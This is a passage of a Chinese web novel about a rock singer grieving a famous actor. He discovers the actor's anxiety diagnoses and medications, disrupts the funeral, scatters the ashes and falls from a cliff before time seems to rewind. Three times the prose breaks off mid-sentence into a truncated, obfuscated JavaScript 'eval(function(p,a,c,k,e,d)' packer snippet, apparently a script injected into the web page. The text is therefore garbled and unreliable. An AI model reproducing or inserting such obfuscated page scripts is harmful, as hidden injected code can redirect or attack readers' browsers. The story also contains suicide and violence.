“喝点儿吧。”他摸了两下手上的金表,给了个面子。 大老板欢天喜地,赶紧送他去了宴会最豪华的一块地方,给他满上了酒,才恭敬地离开。 陆灼颂就坐在大老板给他安排的华贵一隅里,靠着金贵的软沙发喝了几口红酒。 没坐一会儿,就有好几位经纪人带着自家大腕,来笑容满面地跟他打招呼。 陆灼颂一个眼神都没给,坐在座位上,自顾自喝酒。 跟他来的经纪人姜骁立刻站了起来,从善如流地带着笑容迎了上去,和来人握了遍手,熟稔地和每一个人都互相介绍了一遍。 陆灼颂自顾自地自己喝,一个明星都没理,全交给经纪人去对付。 跟着他来的,除了经纪人,还有乐队的其他人。一群人一块儿坐在沙发上,沾着他的光,陪他喝,都一声没吭。 半个小时过去,来找他结交的明星一个又一个,来了又走,走了又有人新来,每一个都满脸堆笑,还越来越多,一点儿不见少。 陆灼颂嗤笑一声,往后头沙发上一靠,转头扫视了一圈四周。 宴会场里人人都光鲜亮丽,漂亮脸蛋看都看不完,像蚂蚁似的乌泱泱一大片。这圈子真是最不缺的就是漂亮,只要有钱,几刀子下去,完全能划拉出来一个。 不过不论男女,好几个都漂亮得有点千篇一律。 现代医美的悲剧。 “谁整容,谁没整容,一眼就看得出来。” 经纪人还在前头给他应付人,陆灼颂就在后头一点不压音量地发表起了评价。 他把手在膝盖上一放,一托腮,和坐在自己身边的路柔随口说,“悲剧啊,医美在退步。” 面前,正和姜骁打招呼的对方经纪人笑脸一僵,而他身后的那位笑容僵硬的中年帅气大叔更是瞬间脸黑——这位乐坛的情歌歌王,因为整容十余次,导致脸僵的都出了恐怖谷效应,最近甚至都没法张嘴说话。 这事儿,谁都知道。 陆灼颂直接把人家雷区踩了个光辉灿烂且应接不暇。 还是贴脸踩的! 空气一下子陷入诡异的气氛里,周遭的一群来巴结的明星都不禁谨慎地后退了几步。 没人想惹乐坛歌王。 经纪人姜骁的背影也一动不敢动。 气氛有些不对,陆灼颂终于察觉到了什么。他一转头,才看见来人正好是这位整容歌王叔。 “哎哟,”他一乐,“怎么是你?我都没看见你。放心啊,叔,没说你。” 他还火上浇油! 姜骁吓疯了,连忙解释:“您别误会!” 陆灼颂丝毫不在意,继续拿起酒杯抿了口酒,眼睛直勾勾地望向对方的经纪人。 那人脸都青了。 可没过两秒,他就扯扯嘴角,硬扯出来一个不失礼貌的尴尬笑容:“没关系。” “陆少果然坦然,说话真爽快!我们都明白的哈,您说的当然不是李老师了。这是我的名片,日后有共演或者合作需求,随时联系。” 被他得罪了个狠的大腕愣是一句话都没敢多说,青着脸,强扯着笑,交了名片,又和他这位陆少毕恭毕敬地点头打了招呼,才转身离开。 姜骁松了口气,回头看了眼陆灼颂。他同样不敢得罪这位陆少,但还是目光乞求地苦了脸。 一看就是求他别再惹事。 “看我干嘛,继续上班啊。”陆灼颂一脸混账样地笑,还露出颗得意洋洋的虎牙,“没事,没人敢得罪我。” 是没人敢得罪你还是没人敢得罪你妈和你家——姜骁把这句话明晃晃写在了一张又无奈又头痛的脸上。 他重重地叹了一口气,回头,不得已地继续迎上笑容,“哈哈”地拉住迎面而来的下一位知名女星。 “二少,快歇会儿吧。” 旁边有人也劝他,“少拉点仇恨,咱有钱也不能这么折腾,你刚出道。” 陆灼颂瞥了说话的人一眼。是个帅哥,但比他差点,也算是个五官清秀的标致人。 是他的吉他手,叫陈诀。 “没事儿,谁敢说我。” 陆灼颂边说边扭头,再次扫了一眼全场,“话说回来,来得还真全。” “毕竟余老板资助了不少剧组和公司,今天除了艺人,作曲的和导演也来了不少,说不准就能碰上个机遇……” 陈诀唠唠叨叨地说了两句,陆灼颂有一茬没一茬地听着,眼睛无聊地满地乱飘。可他再怎么看,宴会场里也就那些东西:一群光鲜亮丽、衣着豪华的漂亮明星,娱乐圈的管理上层,制片人和导演和什么唱片公司。 互相交杯的香槟,假心假意的互相假笑。 好烦。 陆灼颂揪了颗桌上果盘的葡萄,送进嘴里。忽然,他瞥到一个人,于是目光一顿,嘴巴里也一顿。 “那是谁?” 陆灼颂忽然问。 陈诀话语一顿,顺着他的视线看去,看见一个男人正被人群簇拥。 那男人长的十分好,也是西装革履,但显然衣品不错。他里头穿着件灰衬衫,领带打得松松散散,上头扣子也空着两颗,锁骨处就那么半露不露的。 那人干净冷白,乌黑的头发留到了及肩。有点长,但不过分。一眼过去,就见他正笑意吟吟地微低着身,听着旁人说话,时不时温顺地点几下头。那是一双乌浓的笑眼,眼尾微微上挑,却并不狭长,深邃圆润的乌黑眼睛亮晃晃的,是双带些丹凤末笔的桃花眼。 站在远处一瞧,就像捧温水里倒映的半块月亮。 漂亮,帅气,也惹眼,但极其温顺,一直在低眉垂眸。 “啊,那是安庭。” 陈诀一眼认了出来,说,“影帝级别的演员,很有名。前几年刚出道就爆火了,处女作里演的一个配角,就直接把奖项提名拿了大满贯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他转身告辞,一个人晕晕乎乎地走去阳台那边,推开窗门走出去,想透透气。 一推门,迎面冷风一吹,陆灼颂顿时清醒了不少,视野里都清明了。 他舒服地长舒一口气出来,一抬眼,忽然看见一个人。 深夜里,空无一人的阳台上,有个人正靠在栏杆旁边。 十二月的冷天,冷风正过大地。那人却把西装外套脱了,穿着单薄的灰衬衫,靠在阳台边上吹风,上半身往前倾着,一脑袋略长的黑发飘飘摇摇。 陆灼颂鬼使神差地放轻脚步,偷偷走了出去,轻手轻脚关上门,悄悄靠近。 走到旁边,他渐渐看清了。 安庭一脸病态的青白,冷得耳尖血红一片。他嘴里叼着根烟,望着楼下,乌茫的目光里一片病了般的麻木不仁,任由冷风吹打。 烟头冒着火星,风把他的头发吹得很乱,几缕发丝翻飞,把他恍惚的脸吹得若隐若现。 陆灼颂愣在那儿。 风在吹。他呆呆望着安庭,这张他刚在宴会上见过的脸。脸是同一张,可和刚刚宴会上,模样却截然不同。 忽然,他听见一道突兀的、轻柔的声音—— “怎么睡在这儿呢。” 陆灼颂浑身一抖,突然整个人浑身发冷。疼也是突然来的,胃里突然开始翻涌起一阵刀绞的痛,一下子将他拉出了梦里。 陆灼颂醒了,安庭单薄的身影在他面前忽的消失,宴会的吵嚷也被掐断。他忽的想起来,财阀早就破产倒闭,他背后谁都没有了,陈诀死了,连安庭也死了。 他把身子都蜷起来,捂住肚子。胃里疼得他低吟一声,咬着牙低声骂了两句操,吸着气半睁开眼。 眼前泪水朦胧,一片迷离,什么都看不清。 过了片刻,视野清明了点儿。一片黑暗里,他看见安庭正坐在他面前,身上穿着那件鲜血淋漓的白衬衫。 5. 真相 陆灼颂愣住了。 他捂着作痛的肚子,怔怔看着面前。 安庭就在他面前。他身上和脸上都已经干净了,没有血,只有那件白衬衫还和那天一样,鲜血淋漓。 黑暗里,安庭还是那双乌茫的眼睛。他目光担忧又不舍,那双眼睛里都揪心得发亮,瞳孔都在轻轻地颤。 “怎么睡在这儿?” 安庭又问他,话里话外都是心疼。 他伸手过来,摸住陆灼颂的脸。 手冷的吓人。 陆灼颂被冰得一抖,终于反应了过来。他鼻尖一酸,眼前立马起了雾。 “……你不要我了吗?”陆灼颂说。 安庭手一僵。 “你不要我了吗?” 陆灼颂的眼泪开始噼里啪啦地往下掉。他张嘴,还想说什么,可又说不出来了,他喉咙里全是哭腔,一张嘴就开始哭得上不来气,呜呜啊啊地嚎啕起来,一个字儿都没法说了。 安庭沉默地坐在他身前。 陆灼颂伸手抓住他。他哭得睁不开眼了,又看不见安庭了,他怕他走,于是就伸手抓住他。安庭身上冷,胳膊像块冰,陆灼颂手心里面被冻得刺痛,皮都好像要被冻掉了。 但他没有松手。 安庭俯下身来。 安庭把他抱住了,是一个冷得骨头都疼的拥抱。 一股困意瞬间袭来。 陆灼颂不想睡,可没敌过这股没来由的强烈困意。他被安庭用力扣在怀里,渐渐哭不出声了,抓着安庭的手也松开。 他又睡着了,再次做了个梦。 这次的梦混沌无比,他又回到了宴会上,看见了宴会阳台上那个麻木不仁、仿佛精神在身体里无声崩塌的安庭。 冷风在肆虐地吹。陆灼颂走上前,刚想说话,一眨眼的空,面前又变成一片火海。 他站在火场外。 他脑子一嗡,刚想跑进去救人,跑出去没两步,胳膊就被人用力一拉。 陆灼颂回头,看见了安庭。 安庭正阴着脸盯着他,一双浓眉压得乌眼都阴沉吓人,脖子上气出了一道道骇人的青筋,像要杀人。 陆灼颂呆呆望着他。 热风在旁边灼灼地吹,几乎要把他半边身子烧死。 “……对不起,”陆灼颂说,“我该接电话的,对不起。” 一句话,安庭突然面色一软。 他变回那张平静的脸了,然后平静也渐渐消失,神色逐渐带上了隐隐的悲痛。 大火轰隆隆地从火场里烧了出来,烧到他们身边。人群里响起一阵尖叫声,人们四散奔逃,只剩下他和安庭站在原地,一动未动。 陆灼颂眼角一湿,又有眼泪往下流,可还没落下脸颊,就被旁的热风烧干了。 “我可以给你移植的。”陆灼颂说,“为什么没等我?” 安庭突然嗤地笑了,笑容讽刺。 他低下头,闭上眼,轻轻摇了两下头,叹息一声,缓缓松开了拉着陆灼颂的手。 “不要移植。” 安庭终于说话,声音有些哑。 热风把他的前发吹得飘摇,他垂头望着地面。 “很痛的,阿灼。”他说,“会做个没完,你别做,也别难过。” “本来,也没办法跟你说什么的,一直都没办法。那两个电话,接还是不接,都没区别。” “对不起,”他说,“是我对不起你。” “……对不起。” 梦戛然而止。 所有的一切骤然消失,陆灼颂醒了。 他睁开眼,看见卧室的天花板。 一行泪顺着眼角,往下掉了下来。 他缓缓从床上坐起来,扶着自己开始疼得欲裂的脑袋。他吸吸不通气的鼻子,转头看了圈四周。 他居然躺在卧室的床上。 他低头一看枕头,就见整个枕头全都湿了,大约是昨晚哭的。 陆灼颂搓搓眼睛,又揉揉太阳穴。 ……好痛。 脑袋好痛,胃也痛。 都是因为几天没吃饭,昨晚还一上来就喝了两瓶酒。 上次吃饭还是摔手机那天,冰箱里除了花就没东西,陆灼颂饿得熬不过去,还是点了份外卖。可那顿饭吃的味同嚼蜡,后来他就又足足两天都没吃。 他翻身下床,趿拉着拖鞋,晃晃悠悠出了卧室,出门时还撞上了门框。 陆灼颂唔了一声,然后就继续往外飘飘忽忽地走。 天已经亮了,客厅没拉窗帘。大好的天光从落地窗里照进来,照亮客厅上的一片狼藉。两个啤酒酒瓶放在那儿,瓶子里还剩下一点,没喝完。 陆灼颂宿醉得头痛。他挠挠睡成鸟窝的红毛,一时想不起来昨晚怎么回事,到底是怎么把自己睡到卧室去的。 头痛的要死,一动脑就更痛了。他嘶了一声,放弃思考,转头去洗了个热水澡。 半个小时后,他头披着毛巾出了浴室,从沙发上找到遥控器,开了电视。 快九点了,眼看着安庭的葬礼要开始,电视上也在现场转播。 【影帝演员安庭的葬礼即将开始,娱乐圈内各方都来到了现场悼念。】 娱乐新闻栏目,女主持清澈用力的声音字字清晰,【ECHO乐队主唱陆灼颂,仍未到达现场。】 陆灼颂在原地一僵,沉默了一阵,继续抬手摁着毛巾,闷不做声地给自己搓干头发。 搓得差不多了,他放下毛巾,去冲了杯咖啡,端着热气腾腾的杯子坐了回来,把放在茶几上的笔记本电脑又开了机。 电视上,葬礼已经开始,安庭的父母站在台上,身后是他的遗像和骨灰盒。 那对父母已经平静了不少,但眼中仍有悲恸。 “感谢各位,来送犬子最后一程。” 他父亲开了口,声音透着疲惫的沧桑辛苦,“衷心地感谢各位。” 说完,他和身旁的妻子一起向台下鞠了一躬。 台下响起一阵掌声。 陆灼颂喝了口咖啡。 他父亲站起身来,继续说:“小时候,安庭其实是个不算很听话的孩子。” “他经常不听我的话,总有自己的想法,成绩也不好。当时,我生气于他的不懂事,但现在一回想,他也是个有个性的聪明孩子……” 陆灼颂皱眉。 他啧了声,心里莫名不得劲。 陆灼颂烦躁地一撇头,本想看看窗外,却忽然看见旁边的单人沙发上,有一串钥匙。 他一怔,起身走过去,把那串钥匙拿起来。 钥匙上还挂着他之前某次专辑的附赠品,是乐队的印象钥匙扣制品。 安庭的。 居然是安庭的钥匙,陆灼颂这几天都没发现。 他把钥匙拿起来,好好端详了下。 这不是安庭的车钥匙,也不会是家门钥匙,他家可是智能指纹门锁。 这么硬着头皮想了一会儿,陆灼颂想起安庭还有个柜子,柜子上就有把钥匙锁。安庭从来不让他打开,也不让他看。 陆灼颂拿着钥匙,走进旁边的书房里,轻车熟路地找到了那木头柜子。 他打开了柜子——钥匙还真是开这把柜子锁的。 柜子里面东西不多,就几张纸,和一堆成山似的药。 陆灼颂眉角一跳,把药从里面拿了出来,一个一个翻过来看。 阿/普/唑/仑片、劳/拉/西/泮/片,还有氯/硝/西/泮。 基本就这三种药。 陆灼颂翻过来一看用途,顿时浑身一僵。 适应症那栏不约而同地全写着:焦虑症、抑郁症,失眠。 余下的便不太相同—— 可作为抗惊恐药。 镇静作用强。 抗惊厥作用迅速。 陆灼颂僵在柜子前好半天。 半晌,他拿着柜子底下压着的几张纸,回到了客厅里。 他坐在茶几前,全然听不到电视里的声音了。他拿着那几张纸,一行一行地看了过去。 都是病历,心理科的病历。 第一张是焦虑症确诊,第二张是惊恐障碍和创伤性应激障碍确诊。往后就是一些注意事项和用药须知,和两张复查结果。 一张是三个月前的,一张是一个月前的。 三个月前的复查结果,各项指标都好得出奇。 一个月前的复查结果,全都跌了回去。 陆灼颂捏着纸边,死机似的呆住了。 突然,咔嚓一声。他一低头,才看见纸的一角被自己撕开了,边角还皱了一大片。 他怔怔地呆在原地,没有任何反应,又听不见任何声音了。耳边嗡鸣,他盯着白纸黑字的复查结果,上头“重度焦虑”“重度创伤障碍”的几个大字,变得像一张蜘蛛网。 像一张把人裹住,吸得骨髓都不剩的蜘蛛网。 叮—— 陆灼颂一抖。 电视的声音去而复返,又在他耳边响起来。 安庭他父亲还在说话。 葬礼上窸窸窣窣,人们掩面啜泣。 陆灼颂喘了几口气,才发觉自己已经出了一身的冷汗,手也在抖个不停。他从旁边的纸抽里抽出来几张纸,擦了擦额头上的汗。 他又看了几眼手里的诊断书,目光复杂。 他放下诊断书,看了眼电脑。 刚刚就是电脑上传出的消息声。 他的笔记本不常开,一开机就自动登录的,也只有一个工作邮箱。知道这个邮箱的人也没多少,就那么几个。 陆灼颂凑过去一看,果然,是邮箱收到了个邮件。 他心不在焉地点进了那封邮件里。 这邮件,其实他前几天开机时就已经收到了,但陆灼颂懒得开,这么多天都没管。这个特殊时期,谁有心思管这狗屁工作邮件。 但这会儿他心太乱,乱得像团麻。脑子里正控制不住地乱七八糟胡思乱想着,也没有自己在干什么的自觉,就这么迷迷瞪瞪地点进去了。 网页打开,进了邮箱收件箱的界面。 一看见发件人,陆灼颂猛地回过神。 安庭。 * 已经死了的安庭,给他发了邮件。 外头天光大亮,日光晴朗,落地窗的窗沿把阳光切割成一块四四方方的形状,投进客厅里,照在陆灼颂身边不远处。 陆灼颂坐在阴影的地方里,坐在电脑前,手指突然僵得没法动弹。他盯着发件人的名字,几乎要把那两个字瞪出个洞。 是安庭。 真的是安庭。 好久,他才逐渐缓过来些。他咽了口口水,僵着手指,点进了邮件里。 邮件是定时发送的,在安庭死的第二天中午就发了过来。 里面什么都没写,只发来一个文件。 是一段录音。 陆灼颂脑子都发僵了,没多想,直接打开了那段录音。 音频文件跳了出来,开始播放。 开头,是一小段的窸窸窣窣,而后是一声安庭轻轻的叹息。 “阿灼。” 安庭叫他,声音沙哑,像被药液泡毁了。 陆灼颂心脏猛地一抽搐,啪地点了暂停。 他连滚带爬地爬起来,跑去找了耳机,又连滚带爬地跑回来。连上耳机后,他把耳机戴到头上,动作小心、谨慎,又没来由地珍重。 陆灼颂伸出手,指尖都在抖。他咽了几口口水,终于,重重摁下播放。 录音的进度条,又往前行进。 陆灼颂摁着耳机,死命地把安庭最后的声音往自己耳朵里压。 于是,声音只在他耳边响起。 客厅里,电视上悼词依旧,外头吹起了风,家里的老式挂钟,依然滴答滴答。 呼地一声,外头骤然大风起。 陆灼颂脸色陡然一变。 滴答。 滴答。 滴答。 挂钟在一秒、一秒的走。 分针往下掉了一小段,外头投进来的日光也往屋子里又投深了些。一群飞鸟飞过空中,楼下十字路口的红绿灯交换了几个来回,日光终于缓缓地漫到了陆灼颂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“麻烦你说句话好吗?” “现在来也太晚了吧,你还想进去!?” “喂!你听人说话没有!?” 阻拦来人的叫嚷声越来越近,但显然没一个人拦得住他,时不时地还传出有人被他推出去的惨叫声音。 那脚步声越来越响,逐渐来到了门前。 碰的一声巨响,厅门被人重重推开。 一个红毛脸色阴沉地大步闯了进来,气势汹汹。他身上穿着黑色摇滚背心,穿着件朋克风皮衣。皮衣落下了半边肩膀,露出那上面张牙舞爪的纹身,纹着“AT”两个英文字母。 “灼哥!” 路柔刚喊一声,又发觉不对。 陆灼颂一脸杀气,连手里都死死攥着两个爆满青筋的拳头。 她从没见过陆灼颂这般恐怖,心里一咯噔。 陆灼颂穿过所有人,直接冲到台上,从男人手里夺过麦克风和架子,往人脸上狠狠砸了一拳。 场地里响起一片尖叫声。 男人被揍得猝不及防,狼狈地后退踉跄出去好几步,鼻血立马喷了下半张脸。 陆灼颂攥紧拳头,满上力气,又给了男人狠狠一拳,正中男人面门。男人痛得一声惨叫,一屁股坐到了地上。他还没坐起身,陆灼颂就冲上来,把他死死摁住,开始一拳一拳地打,每一拳都往他脸上用力揍。 安庭母亲终于反应过来,尖叫着喊:“啊啊啊!!” “我操,快拍,快拍!” 一个老牌制作人抽了两下旁边摄影小哥的头皮,催促,“赶紧!拉近,拉近!拍近景特写!” 场地里顿时一片混乱,有人往外跑,有人往远躲,有人眼睛发光地赶紧拍摄,有人立马打电话给自家新闻社。 也有人赶紧爬上去,拉住了陆灼颂。 陆灼颂被强拉着从那老头身上离开了,一群人将他拖拽硬扯着往后退。他用力挣扎了好几下,没挣脱开。 安庭他父亲也被扶了起来,人们把他围成一圈,嘘寒问暖。 陆灼颂喘了几口粗气,终于忍不住了,撕心裂肺地咆哮起来:“装你爸什么家庭和睦,我操你全家!!” “你们家大儿子白血病,你俩就是把他当骨髓库生出来的,这话你怎么没敢说!?!” “他才三岁就被你摁着去做穿刺,十岁不到就给他哥做了十四次移植手术!你怎么不说啊!?你敢说吗!你对着这些摄像机,你对着全世界,你敢说吗!?” 老头本来满脸愤怒,咬牙切齿地想上来还手,这话一出,他浑身一僵。 “他被他哥欺负,一天天吃不上饭,身上都被掐紫了,你当没看见!你怎么不说!?” “上学的时候,班里有人欺负他,欺负了好几年,你俩嫌他烦!他因为做手术学习不好,只能留级,你还嫌他蠢,你怎么不说啊!?” “他十九岁才高考,高考结束了他说他成年了,他不想再给他哥做手术,你们两个畜生就硬把他送进精神病院,说他不听话,要给他治病,你怎么没说!” “什么一家人,去你爸的一家人!你就是个畜生,你们一家吸血鬼,寄生虫!!” “半年啊!”陆灼颂歇斯底里,“在里面呆了半年,你们两个畜生!畜生玩意儿!死全家的混蛋!!” “你有资格办葬礼吗,你有资格接他回家吗!?” “滚啊!”他喊,“什么一家人,什么你骄傲!?现在他红了又死了,你跑来这里装慈父,狗日的玩意儿,你恶心不恶心!?” “我告诉你,他哥就算还活着也是废物,跟你一样的废物!蠢货!!” “就是个命贱的玩意儿,这辈子别想比上安庭!” 陆灼颂红了眼,眼泪又掉下来,声音也开始抖。他深吸一口气,又撕心裂肺地吼了出来,“这辈子都别想比上安庭!!” 6. 跳崖 全场陷入一片死寂。 男人鼻青脸肿地坐在地上,女人站在旁边,愣愣地流着泪。 静得几乎落针可闻。 所有人都沉默无言,气氛无比僵硬。 只有陆灼颂上不来气的剧烈喘息声,像拉风箱一样响。好像肺里破了个洞,他的喘气像上不来气一般怪异,嘶喝地响。 他恨恨地瞪着男人,两眼血红地掉泪。 男人一直没说话,也死瞪着他,脸上五官一直抽搐,嘴唇一直蠕动,却没开口,大约是找不到借口。 陆灼颂深吸一口气,眼神颤巍巍地飘开,哆嗦着看向旁边。他看向那放在中央的遗像,和遗像前的骨灰盒。 骨灰盒小小一个,不大。 陆灼颂突然甩开旁人,朝着那骨灰盒就冲了过去。他把骨灰盒抱起来,塞进自己怀里,转头冲出了灵厅。 厅里的人如梦初醒,顿时炸开了锅。 一群人追的追、喊的喊、拦的拦。陆灼颂不顾一切地突破重围往外跑,怀里死抱着安庭最后剩下的东西。他听见有人骂他,有人喊他,但他全都抛到了脑后,他只想带安庭跑。 吵嚷声几乎刺破耳膜,他听见男人在身后无能为力的不甘大吼。 陆灼颂没有回头。 外面天气骤变,居然开始下起了暴风暴雨的雨夹雪,疯了似的天气。 陆灼颂脱下外套,裹住骨灰盒,闯进了白茫茫的雨雪中。 极端的恶劣天气,风在尖啸,几乎看不清路。 雨打在身上都是疼的,陆灼颂咬牙忍着,额前的发都被打湿。他抱着安庭跑到车前,钻了进去。 殡仪馆里的人追了出来,几个摄像机也跟着不要命地闯进雨雪里,扛着机子轰轰烈烈地去抓拍。 安庭父母急得大喊大叫,骂得陆灼颂爹妈不存,却没丝毫用处。 陆灼颂一脚油门,那辆保时捷开着远光,高速冲了出去。 他带着安庭跑了。 * 陆灼颂这一跑,就是在直播间里跑了,在全国近上千万人实时观看的眼皮子底下,抢了安庭逃了葬礼,然后下落不明。 一下子,全平台都炸开了锅。 殡仪馆内,同样是房顶都快被掀翻。 姜骁赶紧拿出手机,给陆灼颂打电话,可他一个都没接。几通电话下去后,他更是直接关机。 姜骁差点活活晕过去。 安庭父母报警了,偏偏这会儿天气恶劣,雨雪大得摄像头都没用,天地一片白茫茫,最多最多只能看见车子的远光灯,车牌号连个影儿都看不见。 警察也无能为力,只能等天气过去再说。 这个破天儿,警车都出不去。 车找不着,安父安母忍不住破口大骂。 “这个时候突然下大雨大雪,这是老天爷都帮陆灼颂啊。” 人群里,有人窸窸窣窣地掩嘴谈论,“怕是那些事儿都是真的了吧。” “我天,这都21世纪了,还有这种狗血剧情……” “快别说了!” 几个十八线小明星在角落里聊得正欢,经纪人就连忙赶来制止,推推搡搡地把他们带离了出去。 雨雪一直下到了晚上。 入了夜,雨雪才见收敛,警察立刻出动。 可陆灼颂消失得干干净净,监控也没用,谁都找不到。陆灼颂没回家,也没去姜骁预想猜测的那几个地方。 一群人急得不行。 事情越闹越大了,因为葬礼的直播,殡仪馆附近甚至引来了一大群不顾雨雪的疯狂粉丝。这地方被围得水泄不通,更是乱上加乱。 警察不得不分出警力,又去疏散那些粉丝。 事情是彻底乱了套了,所有人都越忙越乱。路柔站在人群外围,望着一群人吵来吵去的混乱无比,皱了皱眉。 忽然,她眼睛里一亮,想起了什么。她赶紧回身拿上手机,戴上帽子,默默转身,一溜烟跑走了。 她从殡仪馆后门溜走,这里粉丝不是很多。 从人群中间挤出去,路柔上了自己的车,一脚油门,离开了现场。 22:34. 温京的一座偏郊墓园。 天上还下着淅淅沥沥的雨雪,晚上的墓园阴森至极,几棵大树鬼手似的在雨里摇摇。连墓园门卫都关紧了门窗,缩在小屋子里不吭声。 路柔停好车,跑进了墓园里。 墓园没灯,四周一片漆黑,雨声凄厉。路柔一手撑伞,一手拿着手机,打着亮光,轻车熟路地上了半山腰。 天空低垂,雨声打在伞上,声音发闷。 她气喘吁吁地上了半山腰,转身一看。 陆灼颂果然正坐在那儿。他孤零零地坐在一棵被风吹得哗哗作响的梧桐树下,面对着一排墓碑,沉默地抱着手里的东西,一声不吭地挨着风吹雨打。 那么大的财阀,全世界只手遮天的一个财阀,最后只剩下了他。 他身上就只有一件黑色背心,外套不知道去了哪儿。 路柔急忙跑过去,放下伞,把自己身上的外衣脱下来,披到了他身上。 陆灼颂整个人都已经湿透了,衣服紧紧贴在皮肤上,一头红发也凌乱狼狈地塌着,还有雨珠正不停从发丝里往下落。 路柔张嘴,刚想问他外套哪儿去了,一低头,看见他怀里抱着的骨灰盒被一件衣服包得严严实实,正是他那件皮衣。 “……别在这儿挨淋啊,”她说,“四个人都得急死了。” 陆灼颂没吭声。 路柔喘了几口,把伞拿起来,转头看了眼墓碑。 正对着陆灼颂的那块墓碑,写着“先母陆简”。 那是陆灼颂的母亲。财阀破产后,她死了。 雨水打在墓碑上,顺着墓碑往下丝丝缕缕地流淌。雨夜里没有一点光亮,那石碑沉默地矗立在那儿。 整个墓园寂静无比,空旷的山上,风吹的像哭声。 陆灼颂沉默很久,忽然笑了一声。 “就剩这么点了。” 他搓搓怀里这包得严实的骨灰盒,声音沙哑,“就剩这么点了。” “……回家吧,”路柔说,“回我家,没事的,我们想想办法。” 陆灼颂明白她的意思。 他深吸一口气,又长叹出来。 “有什么办法,人家是亲生父母。”他说,“我什么法定权利都没有,我都没法决定把他埋在哪儿。” 他慢慢把头抬了起来,呆呆地望向面前的墓碑。 雨水还在从他脸上一滴一滴地流下去,路柔才看见,他那双湛蓝的眼睛红得已经像要出血。 他哭过了,他歇斯底里地哭过很久了。 “灼哥,你别这样。”路柔说。 陆灼颂笑了声。 他转头,终于把目光投向她。 “陪我去个地方吧。”他说。 大雨倾盆。 墓园里,陆灼颂坐在他母亲的墓前,坐在路柔递过来的伞下,面色柔和地看着她,眼睛里带着湿漉漉的一片光亮,头发也湿哒哒地贴在额前。 他浑身都湿透了,像个已经回不去家的小狗。 路柔看着他,忽然想起四年前出事时,全世界拿来骂他的那个词。 他们叫他败家犬,丧门星。 雨噼里啪啦地打在伞上,想起那些往事,路柔心里很不是滋味。 “好。”她扯扯嘴角,强扯出来个笑,说,“哥,哪儿我都陪你去。” 这话一出,倾盆的大雨忽然没了声音。 路柔转头看向伞外。 雨停了,雨就这么突然停了。 停的真是突如其来又毫无预兆,路柔都有点不敢信。她又伸手往外探了探,确定真是没再下雨,才拿开了伞。 天上依然乌云厚重,没有月亮。 陆灼颂晃晃悠悠地站了起来。 路柔跟着他站了起来,然后跟着他往外走。陆灼颂接着往山上走去了,路柔不知道他要干什么,但还是跟了上去。 刚下过雨夹雪,路上泥泞。 走了很久,他们到了山顶。 说是山顶,但其实它是个高山崖。那尽头是一片围起来的栏杆,和远处能俯瞰一切的风景。大风肆虐地在吹,地上还是湿泞,边上还有几片薄雪。 陆灼颂脱下路柔的外套,只穿着件无袖背心,单薄地顶着寒风,带着身上还没干的一身雨水,走到山崖的栏杆边上。 他走的身形摇晃,风也越来越大。 他慢慢解开骨灰盒。走到栏杆边上,他就打开盒子,毫不犹豫地扬手一挥。盒子里的骨灰顿时飞到空中,随着大风轰地消散而去了。 “!?”路柔惊得脸一白,“灼哥!” 她冲了上去,但没用。 还没跑几步,骨灰就全都散去了,它随着高处的山风,眨眼间就不知飘去了山上哪个角落。 路柔气急了:“你这是干什么!?” 陆灼颂垂下手,把空了的盒子随手往脚边一扔。 骨灰盒掉到地上,响了几声,没了动静。 陆灼颂慢吞吞地披上自己湿透了的皮衣外套,衣发都被风吹得翻飞。 “总比被抓回去,摁在黄泉路上,还跟那个哥哥相亲相爱来的好。”他说,“他会觉得这样好。” “……” 路柔说不出话来。 陆灼颂掏出手机,摁亮了屏幕。他没把手机亮度调低,屏幕一亮,他就被刺得两眼一眯。 他在手机上点了几下:“小路。” 路柔应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆灼颂动不了,浑身都在疼。他身上也失温了,越来越冷了,可他却扯扯嘴角,喑哑地笑了出来。 他闭上眼,又睁开,忽然看见了自己家的客厅。 外头一片暖光,家里暖和得不像话。他深深陷在懒人沙发里,眼睛有些睁不开,脑子也迟钝,好像刚从一个很长的噩梦里醒来。 迷迷糊糊间,他闻见了一股饭香味儿,听见厨房里传出叮叮咚咚的声音。 陆灼颂立刻醒了,从沙发里一个打挺坐了起来,他转头往厨房一望,看见他最熟悉的身影正在厨房里忙碌。 他连滚带爬地从沙发上起来,冲了过去,跑进厨房里,往那人后背上一抱。 那人被他一顶,回过头来,乌浓的眼睛无奈地看着他。 “说了多少遍了,我在厨房的时候不要进来。”他声音依然温柔,“溅到油怎么办?” “不怕,”陆灼颂把他抱紧了,小声说,“我做噩梦了。” 安庭笑了,问他:“什么噩梦?” 陆灼颂张嘴,还没来得及说话,一阵剧痛将他从真正的梦里叫醒。 他被刺骨的疼叫回神,朦胧又艰难地半睁开眼,看见风声呼啸的乱山,看见满地的血。 ……操。 梦都不让死人做。 他骂了两句,又沉重地闭上眼。身上的手脚关节都摔断扭曲了,他痛得上不来气。 临闭眼前,他好像看见旁边沾血的枯花重新挺起了胸膛,悄然盛放,然后慢慢往回缩去,变成一株小野草,最后钻回大地。 如同生命倒流。 天上又开始下雨了,是一阵淅淅沥沥的雨夹雪,可雨雪却是从地上飞回去天上的。雨夹雪大了,又变回极端的暴风天气,山间一片白茫。远处街道上的红绿灯开始变化,人们却在诡异地倒着走,大屏幕上的广告也在倒放—— 咚咚! 陆灼颂吓得一激灵。 他从睡梦里惊醒,在床上猛地一个抽搐。 